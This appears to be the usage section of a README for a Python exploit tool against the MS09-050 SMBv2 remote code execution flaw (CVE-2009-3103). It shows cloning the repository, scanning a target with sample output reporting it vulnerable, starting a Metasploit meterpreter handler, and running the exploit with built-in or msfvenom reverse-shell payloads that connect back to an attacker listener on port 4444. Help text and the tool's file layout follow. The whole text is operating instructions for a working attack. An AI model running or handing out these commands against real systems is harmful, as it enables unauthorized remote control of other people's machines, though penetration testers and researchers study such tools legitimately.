git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

sudo apt install smbclient

sudo pacman -S smbclient

python3 MS09.py scan -t 192.168.1.10

[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery